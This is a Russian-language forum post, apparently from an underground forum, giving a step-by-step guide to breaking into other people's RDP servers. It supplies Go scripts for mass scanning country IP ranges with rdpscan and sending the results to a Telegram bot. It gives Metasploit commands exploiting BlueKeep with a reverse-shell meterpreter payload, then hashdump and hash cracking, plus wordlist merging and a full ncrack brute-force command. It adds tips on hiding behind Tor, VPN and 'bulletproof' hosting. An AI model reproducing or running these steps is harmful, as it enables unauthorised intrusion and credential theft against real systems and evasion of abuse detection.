What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Брутфорс и взлом RDP в 2025 году

miserylord

Light Weight
Депозит
$0
Автор: miserylord
Эксклюзивно для форума:



RDP (Remote Desktop Protocol, протокол удалённого рабочего стола) — это протокол, разработанный компанией Microsoft. Он позволяет пользователю подключаться к удалённому компьютеру через сеть и управлять им так, как если бы он находился за ним физически.

По-простому, это как компьютер с запущенной Windows, но на удалённой машине.

Брутфорс-атака, в свою очередь, представляет собой метод перебора комбинаций логина и пароля. Она эксплуатирует распространённость одинаковых или слабых паролей, используемых разными людьми.

По-простому, это когда людям сложно придумать сложные пароли, и они, как bad actors, этим пользуемся.

В сети подключённые устройства имеют порядковые номера, которые называются IP-адресами. У каждого адреса есть немного больше 65 тысяч портов. Проще представить это с помощью аналогии: если мир — это огромная планета торговых центров, то IP-адреса — это адреса ТЦ, а порты — конкретные магазины внутри них. Для RDP стандартным является порт 3389.

Как на этой планете, так и в сети есть территории и их суверены. Каждый может выбрать своих по домену верхнего уровня TLD-Country-Bounds.

Определившись с выбором, приводим TLD к IP-адресам, используя данные из репозитория: RIR-IP по странам.

Просканировать порты — шаг номер два.

Masscan моментально обнаруживает открытые порты, но есть свои нюансы. Порты могут находиться в двух состояниях: быть открытыми или закрытыми. Однако они также могут быть открытыми, но при этом не иметь запущенной службы RDP.

Masscan действительно быстро обнаруживает открытые порты, но подавляющая часть из них либо не имеет службы RDP, либо закрыта фаерволом. Одним словом, такие хосты совершенно не пригодны для использования в задаче, что становится ясно только после проверки nmap. А nmap, в свою очередь, требует времени.

Таким образом, связка masscan + nmap (или другой определитель служб) может быть использована, но я нашел вариант гораздо интереснее.

GitHub, луна моей жизни, предлагает решение, которое я использую: GitHub - robertdavidgraham/rdpscan: A quick scanner for the CVE-2019-0708 "BlueKeep" vulnerability.



Это на самом деле сканер для конкретной уязвимости CVE-2019-0708, известной как BlueKeep. Внезапно, несмотря на её возраст, хосты с этой уязвимостью всё ещё встречаются в результатах. О том, как обрабатывать такие хосты, я расскажу позже.

Важно здесь то, что с помощью этого кода можно определить адреса с запущенной службой RDP.

Ознакомимся с документацией программы из репозитория. Она принимает диапазон IP-адресов и для каждого адреса выдаёт лог, который может быть в одном из нескольких состояний:

  • UNKNOWN — с такими адресами не работаем.
  • VULNERABLE — хосты с уязвимостью CVE-2019-0708. Их сохраняем, о них поговорим позже.
  • SAFE — хост не уязвим для BlueKeep, но может быть подходящим для дальнейшей брутфорс-атаки, если состояние указано как SAFE или SAFE - CredSSP/NLA.
  • SAFE - not RDP — по очевидным причинам не подходит для брутфорс-атаки.

Документация утверждает, что программа может работать в связке с masscan для ускорения проверки, хотя и сама по себе работает очень быстро. Более того, если немного взглянуть на код, становится понятно, что она использует некоторые фрагменты кода из masscan.

Клонируем репозиторий. Для сборки исполняемого файла в папке с программой необходимо ввести команду make. Возможно, потребуется установить дополнительные пакеты. Если возникнут ошибки, просто скопируйте их и отправьте в ChatGPT для исправления.

Порой процесс работы программы нужно довести до ума. Например, если программа не работает с текстовыми файлами, можно самостоятельно написать небольшой скрипт на любом языке программирования — Python, Bash, Go.

Программа работает с диапазонами IP-адресов. На этапе их сбора у нас образовался текстовый файл. Немного автоматизации: программа построчно берёт данные из файла, а скрипт также сохраняет результаты работы программы в другой файл. Подобного поведения можно добиться, просто перенаправив поток вывода с помощью >> res.txt на Linux-машинах в терминале.

C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bufio"
 "fmt"
 "os"
 "os/exec"
 "strings"
)

func main() {
 file, err := os.Open("ip.txt")
 if err != nil {
  fmt.Println("Ошибка при открытии файла:", err)
  return
 }
 defer file.Close()

 outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  fmt.Println("Ошибка при открытии файла output.txt:", err)
  return
 }
 defer outputFile.Close()

 scanner := bufio.NewScanner(file)

 for scanner.Scan() {
  ip := scanner.Text()
  if strings.TrimSpace(ip) == "" {
   continue
  }

  cmd := exec.Command("./rdpscan", "--workers", "350", ip)

  cmd.Stdout = outputFile
  cmd.Stderr = os.Stderr

  err := cmd.Run()
  if err != nil {
   fmt.Println("Ошибка при выполнении команды:", err)
  } else {
   fmt.Printf("Команда для IP %s выполнена успешно\n", ip)
  }
 }

 if err := scanner.Err(); err != nil {
  fmt.Println("Ошибка при чтении файла:", err)
 }
}

Обратите внимание на строку cmd := exec.Command("./rdpscan", "--workers", "350", ip). Увеличивая число (третий аргумент), вы повышаете скорость работы программы. Этот параметр отвечает за количество одновременно запущенных горутин. Значение 350 — это небольшое число, но с ним программа работает достаточно быстро для простого сканера портов, ведь сама брутфорс-атака займет больше времени.

На этом этапе желательно запустить всё на удалённой машине. Проблема анонимности в том, что она не абстрактна: всё в сети — это буквально физические устройства. Следовательно, возможна ли анонимность? Или Столяров не так уж безумен, а просто принял это слишком близко к сердцу?

Где найти абьюзоустойчивые сервера — как говорят у нас, или буллетпруф — как у них? Берёшь любой Ubuntu Server, поднимаешь на нём VNC (это как RDP для Windows) и открываешь доступ со всех IP, вход по логину и паролю, не забывая вести логи. Смотришь логи дважды в день.IP проверяешь на https://whatismyipaddress.com/. Тебя интересует не каждый адрес, а тот, который будет пытаться подбират логин и пароль, то есть фактически пытается взломать. Проверяешь его на https://whatismyipaddress.com/ и гуглишь ISP — поздравляю, ты нашёл буллетпруф!

Но что, если не уверен в сервере? Бэкап.

Этот код решает следующую задачу — сохранение результатов и их бэкап с помощью Telegram-бота. Скомпилированный файл rdpscan должен находиться в той же папке, что и скрипт main.go.

C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "archive/zip"
 "bufio"
 "fmt"
 "io"
 "os"
 "os/exec"
 "path/filepath"
 "strings"
 "sync"
 "time"

 "bytes"
 "mime/multipart"
 "net/http"
)

var outputMutex sync.Mutex
var checkedMutex sync.Mutex

func archiveFiles(outputPath string, files []string) error {
 archive, err := os.Create(outputPath)
 if err != nil {
  return fmt.Errorf("ошибка при создании архива: %v", err)
 }
 defer archive.Close()

 zipWriter := zip.NewWriter(archive)
 defer zipWriter.Close()

 for _, file := range files {
  fileToZip, err := os.Open(file)
  if err != nil {
   return fmt.Errorf("ошибка при открытии файла %s: %v", file, err)
  }
  defer fileToZip.Close()

  info, err := fileToZip.Stat()
  if err != nil {
   return fmt.Errorf("ошибка при получении информации о файле %s: %v", file, err)
  }

  header, err := zip.FileInfoHeader(info)
  if err != nil {
   return fmt.Errorf("ошибка при создании заголовка файла %s: %v", file, err)
  }
  header.Name = filepath.Base(file)
  header.Method = zip.Deflate

  writer, err := zipWriter.CreateHeader(header)
  if err != nil {
   return fmt.Errorf("ошибка при создании записи в архиве: %v", err)
  }
  _, err = io.Copy(writer, fileToZip)
  if err != nil {
   return fmt.Errorf("ошибка при копировании файла %s в архив: %v", file, err)
  }
 }

 return nil
}

func sendToTelegram() error {
 telegramToken := "" // Тут токен
 chatID := int64() // Тут чат айди в скобку
 filePath := "archive.zip"

 file, err := os.Open(filePath)
 if err != nil {
  return fmt.Errorf("ошибка при открытии файла %s: %v", filePath, err)
 }
 defer file.Close()

 var buf bytes.Buffer
 writer := multipart.NewWriter(&buf)

 part, err := writer.CreateFormFile("document", filePath)
 if err != nil {
  return fmt.Errorf("ошибка при создании multipart формы: %v", err)
 }

 _, err = io.Copy(part, file)
 if err != nil {
  return fmt.Errorf("ошибка при копировании файла в форму: %v", err)
 }

 writer.WriteField("chat_id", fmt.Sprintf("%d", chatID))

 err = writer.Close()
 if err != nil {
  return fmt.Errorf("ошибка при закрытии writer: %v", err)
 }

 url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", telegramToken)
 req, err := http.NewRequest("POST", url, &buf)
 if err != nil {
  return fmt.Errorf("ошибка при создании HTTP-запроса: %v", err)
 }
 req.Header.Set("Content-Type", writer.FormDataContentType())

 client := &http.Client{
  Timeout: 30 * time.Second,
 }
 resp, err := client.Do(req)
 if err != nil {
  return fmt.Errorf("ошибка при отправке запроса: %v", err)
 }
 defer resp.Body.Close()

 if resp.StatusCode != http.StatusOK {
  return fmt.Errorf("не удалось отправить документ, статус: %s", resp.Status)
 }

 fmt.Println("Архив успешно отправлен в Telegram")
 return nil
}


func periodicTask(intervalMinutes int, files []string, archivePath string) {
 for {
  err := archiveFiles(archivePath, files)
  if err != nil {
   fmt.Printf("Ошибка при создании архива: %v\n", err)
  } else {
   fmt.Println("Архив успешно создан")
   err = sendToTelegram()
   if err != nil {
    fmt.Printf("Ошибка при отправке архива: %v\n", err)
   } else {
    fmt.Println("Архив успешно отправлен")
   }
  }
  time.Sleep(time.Duration(intervalMinutes) * time.Minute)
 }
}

func processIPs() {
 file, err := os.Open("ip.txt")
 if err != nil {
  fmt.Println("Ошибка при открытии файла:", err)
  return
 }
 defer file.Close()

 outputFile, err := os.OpenFile("output.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  fmt.Println("Ошибка при открытии файла output.txt:", err)
  return
 }
 defer outputFile.Close()

 checkedFile, err := os.OpenFile("checked.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  fmt.Println("Ошибка при открытии файла checked.txt:", err)
  return
 }
 defer checkedFile.Close()

 scanner := bufio.NewScanner(file)

 for scanner.Scan() {
  ip := scanner.Text()
  if strings.TrimSpace(ip) == "" {
   continue
  }

  cmd := exec.Command("./rdpscan", "--workers", "350", ip)

  outputMutex.Lock()
  cmd.Stdout = outputFile
  cmd.Stderr = os.Stderr
  err := cmd.Run()
  outputMutex.Unlock()

  if err != nil {
   fmt.Println("Ошибка при выполнении команды:", err)
  } else {
   fmt.Printf("Команда для IP %s выполнена успешно\n", ip)

   checkedMutex.Lock()
   _, err := checkedFile.WriteString(ip + "\n")
   checkedMutex.Unlock()

   if err != nil {
    fmt.Println("Ошибка при записи IP в checked.txt:", err)
   }
  }
 }

 if err := scanner.Err(); err != nil {
  fmt.Println("Ошибка при чтении файла:", err)
 }
}

func main() {
 archivePath := "archive.zip"
 files := []string{"output.txt", "checked.txt"}
 intervalMinutes := 60

 go periodicTask(intervalMinutes, files, archivePath)
 processIPs()
}

Для этого необходимо создать Telegram-бота, а также узнать ID чата. Инструкцию можно найти, например, здесь: Create a Telegram Bot and Obtain the Chat ID - Step-by-Step Guide - YouTube.

В определенные моменты времени (с заданным интервалом) код создает (или перезаписывает) архив, в котором содержатся текстовый лог программы, а также адреса, которые уже были проверены. После этого архив отправляется сообщением в бота. Код синхронизирует доступ к критическим секциям с помощью мьютексов.

Параметры, которые необходимо настроить:

  • telegramToken — токен вашего бота.
  • chatID — ID чата для отправки сообщений.
  • intervalMinutes — интервал времени, установленный по умолчанию на 60 минут (его можно изменить).

Бота нужно запустить как отдельный скрипт, чтобы он мог принимать сообщения. В скрипте бота также необходимо указать telegramToken.

C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bytes"
 "encoding/json"
 "fmt"
 "io/ioutil"
 "net/http"
 "time"
)

const (
 telegramToken = ""
)

type Update struct {
 UpdateID int `json:"update_id"`
 Message struct {
  Text string `json:"text"`
  Chat struct {
   ID int64 `json:"id"`
  } `json:"chat"`
 } `json:"message"`
}

func handleMessage(chatID int64, text string) {
 fmt.Printf("Получено сообщение от %d: %s\n", chatID, text)
 sendMessage(chatID, "Ваше сообщение получено: "+text)
}

func sendMessage(chatID int64, text string) {
 url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", telegramToken)
 payload := map[string]interface{}{
  "chat_id": chatID,
  "text": text,
 }

 body, err := json.Marshal(payload)
 if err != nil {
  fmt.Println("Ошибка при сериализации payload:", err)
  return
 }

 client := &http.Client{
  Timeout: 30 * time.Second,
 }

 resp, err := client.Post(url, "application/json", bytes.NewBuffer(body))
 if err != nil {
  fmt.Println("Ошибка при отправке сообщения:", err)
  return
 }
 defer resp.Body.Close()

 if resp.StatusCode != http.StatusOK {
  fmt.Println("Ошибка при отправке сообщения, статус:", resp.Status)
 } else {
  fmt.Println("Сообщение успешно отправлено")
 }
}

func main() {
 lastUpdateID := 0

 client := &http.Client{
  Timeout: 30 * time.Second,
 }

 for {
  url := fmt.Sprintf("https://api.telegram.org/bot%s/getUpdates?offset=%d", telegramToken, lastUpdateID+1)
  resp, err := client.Get(url)
  if err != nil {
   fmt.Println("Ошибка при получении обновлений:", err)
   continue
  }
  defer resp.Body.Close()

  if resp.StatusCode != http.StatusOK {
   fmt.Printf("Ошибка при получении обновлений: статус %s\n", resp.Status)
   continue
  }

  body, err := ioutil.ReadAll(resp.Body)
  if err != nil {
   fmt.Println("Ошибка при чтении ответа:", err)
   continue
  }

  var updates struct {
   Result []Update `json:"result"`
  }
  err = json.Unmarshal(body, &updates)
  if err != nil {
   fmt.Println("Ошибка при парсинге ответа:", err)
   continue
  }

  for _, update := range updates.Result {
   handleMessage(update.Message.Chat.ID, update.Message.Text)
   lastUpdateID = update.UpdateID
  }
 }
}

Полученный файл лога можно обработать с помощью скрипта, который разделяет хосты на две категории:

  • хосты с уязвимостью
  • хосты для брутфорса

На выходе вы получите их списки в виде IP-адресов.

Скрипт запускается в папке, где находится файл output.txt. В результате выполнения скрипта создаются два файла:

  • forBruteIp.txt — список хостов для брутфорса,
  • BlueKeep.txt — список хостов с уязвимостью BlueKeep.

C-подобный: Скопировать в буфер обмена
Code:
package main

import (
 "bufio"
 "fmt"
 "os"
 "regexp"
 "strings"
)

func main() {
 inputFileName := "output.txt"
 safeOutputFileName := "forBruteIp.txt"
 vulnerableOutputFileName := "BlueKeep.txt"

 inputFile, err := os.Open(inputFileName)
 if err != nil {
  fmt.Printf("Ошибка при открытии файла %s: %v\n", inputFileName, err)
  return
 }
 defer inputFile.Close()

 safeFile, err := os.OpenFile(safeOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  fmt.Printf("Ошибка при открытии файла %s: %v\n", safeOutputFileName, err)
  return
 }
 defer safeFile.Close()

 vulnerableFile, err := os.OpenFile(vulnerableOutputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
 if err != nil {
  fmt.Printf("Ошибка при открытии файла %s: %v\n", vulnerableOutputFileName, err)
  return
 }
 defer vulnerableFile.Close()

 safeWriter := bufio.NewWriter(safeFile)
 defer safeWriter.Flush()

 vulnerableWriter := bufio.NewWriter(vulnerableFile)
 defer vulnerableWriter.Flush()

 scanner := bufio.NewScanner(inputFile)

 ipRegex := regexp.MustCompile(`\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b`)

 for scanner.Scan() {
  line := scanner.Text()
  ip := ipRegex.FindString(line)
  if ip == "" {
   continue
  }

  if containsSafeKeywords(line) {
   _, err := safeWriter.WriteString(ip + "\n")
   if err != nil {
    fmt.Printf("Ошибка при записи строки в файл SAFE: %v\n", err)
    return
   }
  } else if containsVulnerableKeywords(line) {
   _, err := vulnerableWriter.WriteString(ip + "\n")
   if err != nil {
    fmt.Printf("Ошибка при записи строки в файл VULNERABLE: %v\n", err)
    return
   }
  }
 }

 if err := scanner.Err(); err != nil {
  fmt.Printf("Ошибка при чтении файла %s: %v\n", inputFileName, err)
 }
}

func containsSafeKeywords(line string) bool {
 return strings.Contains(line, "SAFE - CredSSP") || strings.Contains(line, "SAFE - Target")
}

func containsVulnerableKeywords(line string) bool {
 return strings.Contains(line, "VULNERABLE")
}

Если говорить из практики — взяв 20 IP-диапазонов, удалось найти чуть больше тысячи ста хостов под брут, и один хост с BlueKeep. Проверка заняла несколько часов.

По поводу сокрытия работы на VPS. Можно использовать TOR и VPN. Например, скрипт проверки прекрасно работает с запущенным поверх torify, который обеспечивает Tor-трафик. В целом трафик можно пустить через VPN, но это уже теоретическая информация. Просто активность типа брутфорса может триггерить провайдера, а большой трафик на VPN может быть не так подозрителен. Конечно, брутфорс — это в целом большой объем трафика, но глобально VPN это не очень подозрительно, многие продуктовые IT-компании используют VPN для сотрудников в целях безопасности. Tor-трафик, пожалуй, более подозрителен, но вы же помните, что все серверы — это физические компьютеры?

Не забудьте использовать команду nohup, иначе запущенные скрипты прекратят свою работу, как только завершится SSH-сессия.

Что ж, сперва разберемся с хостами под CVE-2019-0708. Во-первых, это старая уязвимость, и возможно, хосты могут выступать ханипотами. Но все же, в нескольких словах, это хитрая уязвимость типа переполнения буфера, и о ней написано довольно много материалов. Я же хочу ответить на вопрос, как именно ее эксплуатировать.

Проверив количество хостов в Shodan, можно использовать дорку vuln:cve-2019-0708. Просканировав всю сеть, будет обнаружено больше хостов, чем покажет Shodan!

Воспользуемся Metasploit. Устанавливаем и запускаем его командой msfconsole. Выбираем эксплоит командой use exploit/windows/rdp/cve_2019_0708_bluekeep_rce, устанавливаем RHOST в виде IP-адреса, на котором сканер задетектировал уязвимость: set RHOSTS 127.0.0.1. В качестве пейлоада вводим команду set PAYLOAD windows/x64/meterpreter/reverse_tcp. Устанавливаем LHOST на IP-адрес машины, с которой происходит эксплотация: set LHOST. Далее вводим команду exploit. Если все прошло успешно (хотя это не всегда так), то получаем meterpreter-сессию. Затем извлекаем хеши командой hashdump. После этого снимаем их с помощью Hashcat или John the Ripper и получаем креды для подключения. Вот хорошая демонстрация: BlueKeep RDP Vulnerability CVE-2019-0708 Exploit in Metasploit - Video 2021 with InfoSec Pat.

Следующий шаг — сбор баз паролей и логинов. Я бы не рекомендовал использовать базы, где, например, отсутствуют специальные символы и заглавные буквы, такие как эта: https://github.com/jeanphorn/wordlist/blob/master/rdp_passlist.txt. На мой взгляд, неплохой репозиторий — https://github.com/danielmiessler/SecLists/tree/master/Passwords. Здесь также можно найти хорошие логины: https://github.com/danielmiessler/SecLists/tree/master/Usernames. Кроме того, базу можно собрать из ранее утекших паролей других тематических сайтов, доступов или логов.

Скачав несколько файлов, объединяем их с помощью скрипта, оставляя только уникальные строки длиной не менее 4 символов, дополнительно рандомизируя их.

C-подобный: Скопировать в буфер обмена
Code:
 package main
 
 import (
  "bufio"
  "math/rand"
  "os"
  "path/filepath"
  "strings"
  "time"
 )
 
 func main() {
  rand.Seed(time.Now().UnixNano())
 
  uniqueLines := make(map[string]struct{})
 
  files, err := filepath.Glob("*.txt")
  if err != nil {
   panic(err)
  }
 
  for _, file := range files {
   f, err := os.Open(file)
   if err != nil {
    panic(err)
   }
   defer f.Close()
 
   scanner := bufio.NewScanner(f)
   for scanner.Scan() {
    line := strings.TrimSpace(scanner.Text())
    if len(line) > 4 {
     uniqueLines[line] = struct{}{}
    }
   }
   if err := scanner.Err(); err != nil {
    panic(err)
   }
  }
 
  lines := make([]string, 0, len(uniqueLines))
  for line := range uniqueLines {
   lines = append(lines, line)
  }
 
  rand.Shuffle(len(lines), func(i, j int) { lines[i], lines[j] = lines[j], lines[i] })
 
  outputFile, err := os.Create("result.txt")
  if err != nil {
   panic(err)
  }
  defer outputFile.Close()
 
  writer := bufio.NewWriter(outputFile)
  for _, line := range lines {
   writer.WriteString(line + "\n")
  }
 
  if err := writer.Flush(); err != nil {
   panic(err)
  }
 
  println("Обработка завершена. Результат записан в файл result.txt")
 }

Финальный шаг — запускаем брутфорс. Предлагаю воспользоваться утилитой ncrack. Я лично не проводил сравнения, но читал статью, в которой ncrack превосходил Hydra и Medusa по скорости брутфорса RDP.

Команда: ncrack -v -f -CL -U usernames.txt -P passwords.txt -iL targets.txt -p 3389 -oN results.txt

Флаг -f остановит проверку на этапе первого найденного удачного результата. Результаты будут записаны в текстовый файл. Через пару суток можно проверить. Также рекомендуется поэкспериментировать с параметрами `-T`.

Трям! Пока!
 
Top